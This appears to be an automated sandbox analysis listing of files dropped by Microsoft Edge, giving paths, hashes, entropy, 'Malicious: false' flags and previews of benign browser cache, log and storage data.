SHA-256:	F1BCF35ED13ABA49C1D124A36019A7741CDD4E8E7E9626B638CE5A3D87F33AD0
SHA-512:	E91458522DACA362567404AB622F5F375B54BBE9AFC0167362F85A71AEBB79559BCA6CBD6826CCCB89B870A62E652F929D873E7B44F0D5E376C39C39B070A15D
Malicious:	false
Preview:	2024/12/28-23:45:43.995 4fc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/12/28-23:45:44.035 4fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114579
Entropy (8bit):	5.581458772628155
Encrypted:	false
SSDEEP:	1536:kU906yxPXfOxr1lhCe1nL/ImL/rBZXECjPXNtsf387ekA8u3:J9LyxPXfOxr1lMe1nL/5L/TXE6n7dC
MD5:	35C530175D89057FF017E6C0268015D6
SHA1:	1A76A37FF15148FC29BD679AAD75B354AECA904A
SHA-256:	52657765ED0169790E4AACBD181AC468DB55615CB02D7133109C0B4448825ED5
SHA-512:	B35BE0AEA7DA60C34540A68CD395EF8A29BD538FF25E425916FC710DE17F4A5FEF96922BD7718E1F858117677FFEBFA4772390B8D8DFF3A6998256E72854733E
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	189105
Entropy (8bit):	6.3880485385021375
Encrypted:	false
SSDEEP:	3072:9WgdpN65Fows+aVuJ4RL/3ETpkpvk1TyrvzzLUo0Ls:bIowszuIL/0tv1ais
MD5:	ED52BF7CED91D6AFFE7DDB65A449DABC
SHA1:	94CAEB02A782DB37A191764FD780306ECB9C8704
SHA-256:	808C4F9C8E79306EC55EE685A57A8DA57860E20C4D6DC2D8DF16AD69D55B4059
SHA-512:	2F29F257298F057AC501002A990AA93995F4E2E6F293D2A52F2D5EB9BE69C6A87F276E74D8D34B9D0DADADB69ECBE014884542759659A6DEFB29346F3513881A
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x.X........,T.8..`,.....L`.....,T...`......L`......Rc.Cm.....exports...Rc&).....module....Rc^..X....define....Rb..+....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q....Lv {...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....@[...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:jILKuTXl/lYV/lxEstllQlJ4l:sJjYWs+Y
MD5:	74F4804651F1BA763561EE9FAA26CEDC
SHA1:	6A8B7CD7400A4B48962A999B0B418B92B4BC186D
SHA-256:	08F8F044BBA13B82C961C34ED29070DC6D3293B7933C7FE97F930F8EEA8D913D
SHA-512:	3C312BCD4EE3928B860CCB72354634A6685D0D40CC399EE93A59CC80C5CBB6C06116D1C48D615667F687558FDDC1C84D54288EBA7A5894C0A918F8536A0B2316
Malicious:	false
Preview:	@.....$.oy retne.........................X....,................2C..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:jILKuTXl/lYV/lxEstllQlJ4l:sJjYWs+Y
MD5:	74F4804651F1BA763561EE9FAA26CEDC
SHA1:	6A8B7CD7400A4B48962A999B0B418B92B4BC186D
SHA-256:	08F8F044BBA13B82C961C34ED29070DC6D3293B7933C7FE97F930F8EEA8D913D
SHA-512:	3C312BCD4EE3928B860CCB72354634A6685D0D40CC399EE93A59CC80C5CBB6C06116D1C48D615667F687558FDDC1C84D54288EBA7A5894C0A918F8536A0B2316
Malicious:	false
Preview:	@.....$.oy retne.........................X....,................2C..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF429cb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:jILKuTXl/lYV/lxEstllQlJ4l:sJjYWs+Y
MD5:	74F4804651F1BA763561EE9FAA26CEDC
SHA1:	6A8B7CD7400A4B48962A999B0B418B92B4BC186D
SHA-256:	08F8F044BBA13B82C961C34ED29070DC6D3293B7933C7FE97F930F8EEA8D913D
SHA-512:	3C312BCD4EE3928B860CCB72354634A6685D0D40CC399EE93A59CC80C5CBB6C06116D1C48D615667F687558FDDC1C84D54288EBA7A5894C0A918F8536A0B2316
Malicious:	false
Preview:	@.....$.oy retne.........................X....,................2C..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5831
Entropy (8bit):	3.3928837797937987
Encrypted:	false
SSDEEP:	96:j09b32nEm2J67Z/L9X3++7L+XiSvLl9iSr/1VhWh6kPkjAoAMAHKku6Nb:jlnZ2Jk9X3++3gikLl9iSr/Xh+vr7
MD5:	8A303550E8F396B1833BE5848FBE0042
SHA1:	6D6F9E8555AEC566B27B8C2CDBC108678C2FF69C
SHA-256:	781F77ED7D2FBF833B0936EAB4652FED3B5D144341821FEB0BE385919DAA407F
SHA-512:	609C50A57CA253A21CF8D7478637056D342A2FB06486203782D212C53D3386411FA006CB45D0753AA5976845A69D5D5064F7A53A58B88A4B4CD2B76CCD2139A1
Malicious:	false
Preview:	...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................;.sb................next-map-id.1.Cnamespace-9c1aea9c_5a63_4754_82ab_5e6900643238-https://ntp.msn.com/.0..2.................map-0-shd_sweeper.{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.e.h.p.s.b.h.v.c.,.p.r.g.-.c.g.-.c.r.o.s.a.l.o.c.1.,.r.o.u.t.e.f.i.n.a.n.c.e.e.x.p.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.1.s.-.f.c.r.y.p.t.,.p.r.g.-.c.o.o.k.i.e.c.o.n.t.,.1.s.-.n.t.f.2.-.e.v.l.c.f.c.,.1.s.-.n.t.f.2.-.b.k.n.l.c.,.1.s.-.n.t.f.2.-.i.p.t.l.c.,.1.s.-.p.r.2.-.e.v.l.c.,.1.s.-.p.r.2.-.e.v.l.c.b.b.,.1.s.-.p.r.2.-.e.v.l.c.h.,.1.s.-.p.r.2.-.e.v.l.c.n.,.1.s.-.p.r.2.-.e.v.l.c.r.p.,.1.s.-.p.r.2.-.e.v.l.c.t.,.1.s.-.p.r.g.2.-.l.i.f.e.c.y.c.l.e.,.1.s.-.w.p.o.-.p.r.2.-.n.c.a.r.d.,.1.s.-.w.p.o.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.146147029328875
Encrypted:	false
SSDEEP:	6:HXnq2P923oH+TcwtrQMxIFUt8GXwnZmw+GXf27kwO923oH+TcwtrQMFLJ:HXnv4YebCFUt8GXE/+GXfu5LYebtJ
MD5:	800D26EB90D71FE7E0CED235C05BB597
SHA1:	57917649BA0461B93BFABEF4B47AC60E8B69F855
SHA-256:	6132F7004EC78B1E59D16EECCA3B9FD252862044824921FEA2D97310F1844EE4
SHA-512:	71D27390882832A49515EF1D3C936B3BE017E857C7F18132CC8BFF16365B111885326F1B85095DE0774D169D7E02B5A4ED7989E43239E154760E3C2D148F6EE7
Malicious:	false
Preview:	2024/12/28-23:45:28.373 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/28-23:45:28.380 1d14 Recovering log #3.2024/12/28-23:45:28.409 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.146147029328875
Encrypted:	false
SSDEEP:	6:HXnq2P923oH+TcwtrQMxIFUt8GXwnZmw+GXf27kwO923oH+TcwtrQMFLJ:HXnv4YebCFUt8GXE/+GXfu5LYebtJ
MD5:	800D26EB90D71FE7E0CED235C05BB597
SHA1:	57917649BA0461B93BFABEF4B47AC60E8B69F855
SHA-256:	6132F7004EC78B1E59D16EECCA3B9FD252862044824921FEA2D97310F1844EE4
SHA-512:	71D27390882832A49515EF1D3C936B3BE017E857C7F18132CC8BFF16365B111885326F1B85095DE0774D169D7E02B5A4ED7989E43239E154760E3C2D148F6EE7
Malicious:	false
Preview:	2024/12/28-23:45:28.373 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/28-23:45:28.380 1d14 Recovering log #3.2024/12/28-23:45:28.409 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13379921130182808

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.841652232659329
Encrypted:	false
SSDEEP:	24:3GNDP29vpoEqWOy1yezGjJpsAF4unxWftLp3X2amEtG1Chq4FA7FYKnxKQKkOAMh:3ks2EqRy1PIzFG1Lp2FEkChbFA7FYcLq
MD5:	DC9F6999EA41CF0D5C883DB9595F8FC5
SHA1:	BE048F60A845D64BF63B2C185B71160DFCB866C4
SHA-256:	CA71E97D0D2F40F622256B6CBCC9997E68EB8565AEB02A18CFD1DA0B82E12CEB
SHA-512:	F65B8C70362F2F72F6C9D7CCF98EA3F5A6BB7978855554BEA53BE5254848E34B4C096ACF37878A7DCB6439D5B39B75CF45D8B71E9C44BACEB8A1E91431E3B79F
Malicious:	false
Preview:	SNSS.......~.uL...........~.uL......"~.uL...........~.uL.......~.uL.........uL.........uL....!....uL...............................~.uL..uL1..,.....uL$...9c1aea9c_5a63_4754_82ab_5e6900643238...~.uL.........uL....~..........~.uL...~.uL.......................~.uL....................5..0...~.uL&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....~.uL.......~.uL............................uL.............uL........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......S.]a..T.]a.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.135153824611027
Encrypted:	false
SSDEEP:	6:HXQMQjL+q2P923oH+Tcwt7Uh2ghZIFUt8GXQxz1Zmw+GXQxlLVkwO923oH+Tcwts:HXfBv4YebIhHh2FUt8GXiz1/+GXiz5L0
MD5:	E6EE8FB50A1DE8BD9F97D9527F86DE14
SHA1:	4AA5DF3120D23BC3D4F649E0FE747B69873AB42A
SHA-256:	9FD256CBBEC9F3015934F0694AE504247FE603B95BBDCBEC956FB8AC3691443A
SHA-512:	3EF893D179FE07C1281076D3CA4713FA1BA8E83D62C5133D02693C1FBA0593249B50DD395941CE3139245ADE0B7ED41CC85E5CFC4DB961D46E7A17C57FD2EFB8
Malicious:	false
Preview:	2024/12/28-23:45:27.829 1ee8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/28-23:45:27.830 1ee8 Recovering log #3.2024/12/28-23:45:27.830 1ee8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.135153824611027
Encrypted:	false
SSDEEP:	6:HXQMQjL+q2P923oH+Tcwt7Uh2ghZIFUt8GXQxz1Zmw+GXQxlLVkwO923oH+Tcwts:HXfBv4YebIhHh2FUt8GXiz1/+GXiz5L0
MD5:	E6EE8FB50A1DE8BD9F97D9527F86DE14
SHA1:	4AA5DF3120D23BC3D4F649E0FE747B69873AB42A
SHA-256:	9FD256CBBEC9F3015934F0694AE504247FE603B95BBDCBEC956FB8AC3691443A
SHA-512:	3EF893D179FE07C1281076D3CA4713FA1BA8E83D62C5133D02693C1FBA0593249B50DD395941CE3139245ADE0B7ED41CC85E5CFC4DB961D46E7A17C57FD2EFB8
Malicious:	false
Preview:	2024/12/28-23:45:27.829 1ee8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/28-23:45:27.830 1ee8 Recovering log #3.2024/12/28-23:45:27.830 1ee8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.237809528944163
Encrypted:	false
SSDEEP:	12:HX8v4YebvqBQFUt8GX2/+GXfl5LYebvqBvJ:3G4YebvZg8A4f3LYebvk
MD5:	5927713D2E039961E97492DA8D3E5530
SHA1:	8C4C4D6FE9D0E14B5C829882900C1253DE39CA48
SHA-256:	BE888F14341E237B0A676039D70DC1D7D98248D4D7F7410F868E0D99B4CF3E25
SHA-512:	879B943F302AD38D243EEBB616B57F6DA1291B61BD895824F49DCFD0B005A7461142CAD2D5CE7FC7CD2A01EC81EF8FBB2ECA66B6DD86DA8151AD09ABCD540E86
Malicious:	false
Preview:	2024/12/28-23:45:28.390 1d50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/28-23:45:28.391 1d50 Recovering log #3.2024/12/28-23:45:28.411 1d50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.237809528944163
Encrypted:	false
SSDEEP:	12:HX8v4YebvqBQFUt8GX2/+GXfl5LYebvqBvJ:3G4YebvZg8A4f3LYebvk
MD5:	5927713D2E039961E97492DA8D3E5530
SHA1:	8C4C4D6FE9D0E14B5C829882900C1253DE39CA48
SHA-256:	BE888F14341E237B0A676039D70DC1D7D98248D4D7F7410F868E0D99B4CF3E25
SHA-512:	879B943F302AD38D243EEBB616B57F6DA1291B61BD895824F49DCFD0B005A7461142CAD2D5CE7FC7CD2A01EC81EF8FBB2ECA66B6DD86DA8151AD09ABCD540E86
Malicious:	false
Preview:	2024/12/28-23:45:28.390 1d50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/28-23:45:28.391 1d50 Recovering log #3.2024/12/28-23:45:28.411 1d50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\04fca78e-5f2e-480b-996d-69d8b9316502.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3c2b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
